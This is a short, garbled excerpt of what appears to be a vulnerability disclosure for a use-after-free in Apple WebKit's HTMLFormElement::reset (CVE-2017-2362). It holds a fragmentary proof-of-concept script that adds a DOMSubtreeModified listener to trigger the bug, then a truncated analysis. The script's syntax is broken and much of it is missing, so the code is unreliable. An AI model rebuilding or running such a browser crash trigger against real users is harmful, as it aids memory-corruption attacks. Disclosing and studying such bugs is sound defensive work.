Apple WebKit: HTMLFormElement::reset() use-after free（CVE-2017-2362）

PoC: function go output.value = "aaa"; output.appendChildinserteddiv; document.getElementById"output".addEventListener'DOMSubtreeModified', function forvar i=0; i foo Analysis: The bug is in HTMLFormElement::reset function, specifically in this part: for auto& associatedElement :...